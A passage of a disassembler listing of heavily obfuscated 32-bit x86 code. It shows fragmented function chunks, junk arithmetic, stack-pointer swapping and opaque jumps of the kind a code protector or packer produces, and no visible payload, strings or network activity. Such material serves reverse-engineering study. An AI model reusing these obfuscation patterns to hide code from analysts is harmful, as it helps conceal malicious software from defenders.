; ---------------------------------------------------------------------------


loc_591466:				; CODE XREF: sdfs____:0058D4C5j
		add	eax, 4
		jmp	loc_58FFEF
; ---------------------------------------------------------------------------


loc_591470:				; CODE XREF: sdfs____:00598DD9j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_591475:				; CODE XREF: sub_59587A-4E2Dj
		xor	ebp, 3F0F1DDFh
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		add	ebx, 76942E9Eh
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_598806
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_591491:				; CODE XREF: sdfs____:00597F97j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	41EEh
		mov	[esp], esp
		jmp	loc_58EE8F
; ---------------------------------------------------------------------------
		push	5581h
		jmp	loc_58C07F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5914B2:				; CODE XREF: sub_591370+5DD2j
		pop	edi
		pop	edx
		push	edi
		pop	ebp
		push	[esp-14h+arg_10]
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp-18h+arg_14]
		add	esp, 4
		sub	esp, 4
		mov	[esp-18h+arg_14], esi
		push	64AD0680h
		mov	esi, [esp-14h+arg_10]
		jmp	loc_58D2AD
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5914E6:				; CODE XREF: sub_5962EB+20D6j
		xchg	ecx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		sub	eax, 0AE75B83h
		add	edx, 20DA2DCCh
		add	edx, eax
		push	688Ch
		mov	[esp-4+arg_0], ebx
		mov	ebx, 61BF6508h
		jmp	loc_596B7C
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59150B:				; CODE XREF: sub_591370+411j
		add	esp, 4
		add	esp, 4
		push	eax
		push	[esp-18h+arg_18]
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		pop	[esp-18h+arg_14]
		pop	esp
		jmp	loc_58EAC4
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59152B:				; CODE XREF: sdfs____:0058C28Fj
		push	edx
		mov	edx, 4E4A78A8h
		jmp	loc_59405C
; ---------------------------------------------------------------------------


loc_591536:				; CODE XREF: sdfs____:005945E9j
		dec	edi
		jmp	loc_5949EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59153C:				; CODE XREF: sub_591435+55E4j
		add	esp, 4
		push	ecx
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_5983D3
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591550:				; CODE XREF: sdfs____:0058C9ADj
		mov	ebx, 1560358Eh
		and	edi, ebx
		jmp	loc_58C33D
; ---------------------------------------------------------------------------


loc_59155C:				; CODE XREF: sdfs____:005949FAj
		mov	[esp], eax
		mov	eax, 0F624FACCh
		sub	edi, eax
		pop	eax
		sub	edi, 0F8C0A13h
		xor	edi, 3BD406B2h
		push	edi
		pop	eax
		pop	edi
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_592F19
; ---------------------------------------------------------------------------


loc_591581:				; CODE XREF: sdfs____:0058F2E1j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58D85A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591597:				; CODE XREF: sub_594228+3DBCj
		add	ebx, 4B86CB51h
		xor	eax, ebx
		jmp	loc_59782A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5915A4:				; CODE XREF: sdfs____:005910E5j
		xor	edi, 2E67D5B5h
		sub	edx, edi
		jmp	loc_5981A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5915B1:				; CODE XREF: sub_591435+751Dj
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		push	eax
		push	872670Ah
		pop	eax
		shl	eax, 8
		jp	loc_597478
		neg	eax
		jz	loc_5979B0
		jmp	loc_58D1F9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5915D8:				; CODE XREF: sdfs____:005928C8j
		add	ebp, 460C4516h
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_591C5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5915F9:				; CODE XREF: sub_594228-6D8Aj
		sub	ebx, 75150B75h
		sub	ebx, esi
		push	edi
		mov	edi, 162638F7h
		and	edi, 76B4CE2h
		shr	edi, 7
		sub	edi, 6A864D8Dh
		sub	edi, 2070EB0Fh
		add	ebx, edi
		pop	edi
		pop	esi
		add	ebx, 4F183967h
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_5909D1
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59162E:				; CODE XREF: sdfs____:0058C544j
		add	eax, ebx
		add	eax, 1464A3Bh
		sub	eax, 61DD0227h
		mov	ebx, [esp]
		jmp	loc_597EB7
; ---------------------------------------------------------------------------


loc_591642:				; CODE XREF: sdfs____:0058C934j
		add	ecx, 0F5391C4Ch
		sub	esi, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_591B65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_591652:				; CODE XREF: sub_591AD9+9j
		sub	eax, 77F51EF7h
		mov	ebp, eax
		push	[esp-4+arg_0]
		pop	eax
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_597AAD
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59166D:				; CODE XREF: sub_591435+946j
		pop	esp
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		mov	edx, [esp+18h+var_18]
		jmp	loc_58BADF
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59167C:				; CODE XREF: sub_5962EB+776j
		push	1
		push	dword ptr [esp+0]
		jmp	loc_592511
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_591689:				; CODE XREF: sdfs____:00591E34j
		pop	esp
		jmp	loc_596DFA
; ---------------------------------------------------------------------------


loc_59168F:				; CODE XREF: sdfs____:00590D15j
		sub	esi, 6D88638Ah
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58D2B9
; ---------------------------------------------------------------------------


loc_5916A5:				; CODE XREF: sdfs____:0058F694j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598199
; ---------------------------------------------------------------------------


loc_5916C0:				; CODE XREF: sdfs____:0058F45Cj
		pop	ecx
		pop	ebp
		not	ebp
		jmp	loc_59089A
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_598A43
; ---------------------------------------------------------------------------


loc_5916D0:				; CODE XREF: sdfs____:005926C6j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5916D5:				; CODE XREF: sdfs____:0058DB0Bj
		push	esi
		mov	esi, 388139C1h
		sub	esi, 9F0474Dh
		not	esi
		jmp	loc_58F190
; ---------------------------------------------------------------------------


loc_5916E8:				; CODE XREF: sdfs____:00594B0Ej
		pop	eax
		or	esi, 48954D35h
		jns	loc_5953F8
		not	esi
		not	esi
		sub	esi, 0FFFFFFFFh
		dec	esi
		mov	ebx, edx
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_591700:				; CODE XREF: sub_59841F-E12j
		add	ecx, edx
		jmp	loc_597F10
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_591707:				; CODE XREF: sdfs____:0058CBD6j
		push	ebp
		jmp	loc_5968AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_59170D:				; CODE XREF: sub_59587A-93AAj
		pop	esi
		jmp	loc_59677A
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_591713:				; CODE XREF: sub_598A21-94F9j
		xor	eax, ecx
		xchg	eax, edi
		xchg	ecx, edi
		jmp	loc_5975C3
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_59171D:				; CODE XREF: sub_58FA0A-13C1j
		pop	esi
		jmp	loc_591D0B
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591723:				; CODE XREF: sub_5985AE-93E4j
		mov	[esp-8+arg_4], ebx
		mov	ebx, 1
		add	eax, 49BF0EE8h
		sub	eax, ebx
		sub	eax, 49BF0EE8h
		mov	ebx, [esp-8+arg_4]
		jmp	sub_58E146
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_59173F:				; CODE XREF: sdfs____:0059308Dj
		mov	ebp, esi
		jmp	loc_5986C5
; ---------------------------------------------------------------------------


loc_591746:				; CODE XREF: sdfs____:0058BD23j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58C845
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591754:				; CODE XREF: sub_594228+1FF2j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_591759:				; CODE XREF: sub_592853-6888j
		and	ebx, ecx
		pop	ecx
		or	ebx, ebx
		jnz	loc_597D94
		push	ecx
		jmp	loc_58BFA6
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59176A:				; CODE XREF: sub_591435+4BCBj
		and	eax, ebp
		jmp	loc_594A34
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591771:				; CODE XREF: sub_591370-3555j
		mov	[esp-10h+arg_C], ebp
		mov	ebp, 4
		add	eax, ebp
		push	[esp-10h+arg_C]
		mov	ebp, [esp-0Ch+arg_8]
		jmp	loc_59150B
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_591786:				; CODE XREF: sdfs____:0058F8DFj
		sub	ecx, 0A092FC2Ah
		add	ebp, ecx
		pop	ecx
		sub	ebp, 70F14E66h
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		jmp	loc_598821
; ---------------------------------------------------------------------------


loc_5917A3:				; CODE XREF: sdfs____:00598A3Ej
		xor	eax, 0FADD0156h
		jmp	loc_59478F

; =============== S U B	R O U T	I N E =======================================



sub_5917AD	proc near		; CODE XREF: sub_5985AE-477Cj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		jmp	sub_592F43
sub_5917AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_5917C0	proc near		; CODE XREF: sub_5962EB-3C94j

var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0058BDED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BE78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BEDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BFD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C119 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058C963 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CA5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D0A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D1DE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D744 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D7E2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D935 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058DA54 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058DC14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DD5F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DD8E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DEF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058DFC4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E25C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E924 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EA2A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058EA52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EB79 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058ED45 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058ED8E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EE50 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EF85 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F0AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F278 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F2A7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F573 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F668 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F8BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FAF2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FB45 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FDE4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FEF5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058FF97 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FFC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005900D0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005905D7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590663 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005907B1 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00590819 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005908A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590912 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005909FF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590AD1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00590BD9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590C07 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00590DB9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590F46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005912BE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591317 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591CC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591F37 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00592307 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592C5E SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00593017 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005932E2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005934C4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593595 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593B8A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593EFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593FC2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005944B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005944F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059457F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059467D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005946CE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005948FB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594964 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059498D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00594E8E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059513A SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005951CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005955D9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005956D1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00595710 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005957CE SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00595A75 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595F67 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059621F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005964A1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059653C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00596637 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596701 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596AD7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596BD3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00596C2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596CF2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596D3C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596E44 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596F6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596F96 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059703B SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00597088 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597105 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00597685 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00597892 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00597AD5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00597BB4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597D8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597E7B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598169 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00598566 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059873F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059878C SIZE 0000002A BYTES

		push	ebp
		mov	ebp, eax
		jmp	loc_58F573
sub_5917C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_5917C8:				; CODE XREF: sub_59576E+12E6j
		mov	cx, 0C361h
		add	si, cx
		pop	cx
		sub	dx, si
		pop	esi
		sub	ax, dx
		pop	edx
		push	ax
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	small 5743h
		pop	di
		push	ebx
		mov	bx, 194Ch
		xor	bx, 617Fh
		or	di, bx
		pop	ebx
		neg	di
		and	di, 31CEh
		add	di, 5570h
		jmp	loc_58C6DB
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_591807:				; CODE XREF: sdfs____:005909BBj
		mov	esi, 2
		add	edi, esi
		pop	esi
		jmp	loc_58C997
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591814:				; CODE XREF: sub_594228-44A1j
		jmp	loc_592A4B
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591819:				; CODE XREF: sub_591435-19A1j
		add	[edi+20h], ecx
		mov	ecx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		jmp	loc_59219E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_591827:				; CODE XREF: sub_58FE3C-416Aj
		xor	ecx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_597E85
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------


loc_591832:				; CODE XREF: sdfs____:005922F1j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		jmp	loc_590216
; ---------------------------------------------------------------------------


loc_591846:				; CODE XREF: sdfs____:005971D6j
		pop	edi
		jmp	loc_58CAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59184C:				; CODE XREF: sub_5962EB-2BD0j
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591857:				; CODE XREF: sub_5985AE:loc_58C862j
					; sub_5917C0-3A29j
		sub	eax, 1B8C5529h
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 1DAE1AA1h
		push	553Fh
		mov	[esp+0], ecx
		push	1A414DAEh
		jmp	loc_58D3FF
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591879:				; CODE XREF: sub_594228-4AA8j
		mov	edi, esi
		pop	esi
		shl	edi, 4
		jmp	loc_58E08E
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_591884:				; CODE XREF: sub_58EB23-1B8j
		add	bl, 0A9h
		push	cx
		mov	ch, 6Bh
		add	bl, ch
		pop	cx
		push	small 6E07h
		jmp	loc_596B45
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_591898:				; CODE XREF: sdfs____:loc_593047j
		push	dx
		xchg	dh, [esp]
		neg	dh
		xchg	dh, [esp]
		jmp	loc_5943B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5918A7:				; CODE XREF: sub_5962EB-20F4j
		pop	ecx
		push	esi
		push	eax
		mov	eax, 29ED26DCh
		xor	eax, 3C0B0151h
		shr	eax, 1
		jp	loc_58E347
		and	eax, 0C6F22DFh
		jmp	sub_58EC6C
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		pop	ebp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_591CCA
; ---------------------------------------------------------------------------


loc_5918EA:				; CODE XREF: sdfs____:0059333Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_596D66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D9A7


loc_5918F6:				; CODE XREF: sub_58D9A7+258Aj
		add	esp, 4
		add	eax, 4
		jmp	loc_5939D3
; END OF FUNCTION CHUNK	FOR sub_58D9A7
; ---------------------------------------------------------------------------


loc_591906:				; CODE XREF: sdfs____:00597954j
		add	ecx, edi
		add	ecx, 2E7B180Ch
		push	edx
		jmp	loc_58C186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591914:				; CODE XREF: sub_594228-4462j
		xor	[esp+22h+var_24+2], esi
		xor	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		cmp	cx, ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_591926:				; CODE XREF: sub_59841F:loc_5906C3j
		add	ecx, 0E44EF5A4h
		add	esi, ecx
		pop	ecx
		jmp	loc_592D87
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_591934:				; CODE XREF: sdfs____:005984E0j
		mov	ebp, 35836421h
		add	ebp, 4ABF407Eh
		sub	ebp, 1B4110D0h
		jmp	loc_58E43E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_59194A:				; CODE XREF: sub_5929B9+3j
					; sub_5BB696-26165j
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_590BE1
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591952:				; CODE XREF: sub_591435+1A9Fj
		sub	ch, 0B4h
		add	ch, 8
		sub	bl, ch
		pop	ecx
		add	bl, al
		push	cx
		push	edx
		mov	dh, 0F4h
		shl	dh, 4
		jp	loc_5910A9
		shr	dh, 5
		jp	sub_58D925
		jmp	loc_58FEFB
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	482Ah
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		mov	edx, ebp
		jmp	loc_58DF13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5919BA:				; CODE XREF: sub_59587A+12BBj
		xchg	ecx, [esp+2+var_4+2]
		not	ecx
		xchg	ecx, [esp+2+var_4+2]
		mov	ebp, [esp+2+var_4+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		add	ebp, 992106B9h
		add	edx, 16F22969h
		sub	edx, ebp
		sub	edx, 16F22969h
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_58D89A
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_5919FA:				; CODE XREF: sub_5987BC+1C8j
		sub	esi, 0F879A143h
		jmp	loc_590F8D
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_591A05:				; CODE XREF: sdfs____:00590BD4j
		mov	esi, [esp]
		add	esp, 4
		and	esi, 3F4632Bh
		jnz	loc_58D231
		xor	esi, 210A420Ch
		mov	ebp, esi
		pop	esi
		mov	ecx, edi
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591A26:				; CODE XREF: sub_5985AE-2EE2j
		sub	[esp+4], esi
		jmp	loc_596EE2
; ---------------------------------------------------------------------------


loc_591A2F:				; CODE XREF: sub_5985AE-A6E5j
		add	ebx, ebp
		pop	ebp
		xor	ecx, ebx
		mov	ebx, [esp-8+arg_4]
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5981AD
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_591A40:				; CODE XREF: sdfs____:00590839j
		push	eax
		jmp	loc_590456

; =============== S U B	R O U T	I N E =======================================



sub_591A46	proc near		; CODE XREF: sub_591370+317Cj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 1A536FAEh
		jmp	loc_58C3FE
sub_591A46	endp

; ---------------------------------------------------------------------------


loc_591A59:				; CODE XREF: sdfs____:0058FD2Fj
		add	ecx, 218B457Bh
		or	ecx, 256F57AEh
		jmp	loc_591BEB
; ---------------------------------------------------------------------------


loc_591A6A:				; CODE XREF: sdfs____:00591202j
		push	edx
		push	ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		push	64E3h
		mov	[esp], edx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_597558
; ---------------------------------------------------------------------------


loc_591A85:				; CODE XREF: sdfs____:005971C9j
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59800C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_591A98:				; CODE XREF: sub_5987BC+500j
		push	small 62A0h
		mov	word ptr [esp+0Ah+var_C+2], ax
		jmp	loc_58D32E
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_591AA5:				; CODE XREF: sdfs____:0059522Cj
		add	al, 4Eh
		sub	al, 77h
		add	al, cl
		add	al, 77h
		push	edx
		jmp	loc_597A3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591AB3:				; CODE XREF: sub_591435-318Ej
		pop	esp
